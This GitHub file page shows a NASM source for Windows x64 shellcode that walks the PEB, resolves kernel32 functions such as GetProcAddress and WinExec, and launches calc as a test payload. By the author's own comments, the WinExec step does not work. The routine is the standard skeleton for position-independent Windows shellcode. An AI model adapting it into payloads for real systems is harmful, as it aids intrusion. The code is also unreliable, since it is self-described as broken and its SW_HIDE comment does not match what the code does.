-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwindowsx64 shellcode to spwan calc.asm
115 lines (99 loc) · 2.65 KB
/
windowsx64 shellcode to spwan calc.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
;-------------------------------------------------------------------------------------------------------
; author: never
; for win64 shellcode written in nasm(assembly)
; it spwan calc, can be use for testing
;-------------------------------------------------------------------------------------------------------
BITS 64
SECTION .text
global main
main:
xor rcx, rcx
mov rax, [gs:rcx + 0x60]
mov rax, [rax + 0x18]
mov rsi, [rax + 0x20]
lodsq
xchg rax, rsi
lodsq
mov rbx, [rax + 0x20]
xor r8, r8
mov r8d, [rbx + 0x3c]
mov rdx, r8
add rdx, rbx
mov r8d, [rdx + 0x88]
add r8, rbx
xor rsi, rsi
mov esi, [r8 + 0x20]
add rsi, rbx
xor rcx, rcx
mov r9, 0x41636f7250746547
Get_Function:
inc rcx
xor rax, rax
mov eax, [rsi + rcx * 4]
add rax, rbx
cmp QWORD [rax], r9
jnz Get_Function
xor rsi, rsi
mov esi, [r8 + 0x24]
add rsi, rbx
mov cx, [rsi + rcx * 2]
xor rsi, rsi
mov esi, [r8 + 0x1c]
add rsi, rbx
xor rdx, rdx
mov edx, [rsi + rcx * 4]
add rdx, rbx
mov rdi, rdx
getprocaddr:
mov rcx, 0x41797261
push rcx
mov rcx, 0x7262694c64616f4c
push rcx
mov rdx, rsp
mov rcx, rbx
sub rsp, 0x30
call rdi
add rsp, 0x30
add rsp, 0x10
mov rsi, rax
winexecaddr:
mov rcx, 0x636578456E6957
push rcx
mov rdx, rsp
mov rcx, rbx
sub rsp, 0x30
call rdi
add rsp, 0x30
mov r15, rax
;this is not working using goku7 method used in new.asm but it works there but not here
;here i am calling winexec to spawn calc but didn't work
WinExec:
; UINT WinExec(
; LPCSTR lpCmdLine, => RCX = <COMMAND STRING> + 0x00 (Null Terminated)
; UINT uCmdShow => RDX = 0x0 = SW_HIDE
; );
xor rcx, rcx
mul rcx
push rax
mov rax, 0x636c6163
push rax
mov rcx, rsp
inc rdx
sub rsp, 0x20
call r15 ; Call WinExec(<COMMNAD>, SW_HIDE)
add rsp, 0x20 ; Fix stack
exit:
xor rcx, rcx
mov rcx, 0x737365
push rcx
mov rcx, 0x636f725074697845
push rcx
mov rdx, rsp
mov rcx, rbx
sub rsp, 0x30
call rdi
add rsp, 0x30
add rsp, 0x10
mov r15, rax
mov rcx, 0
call r15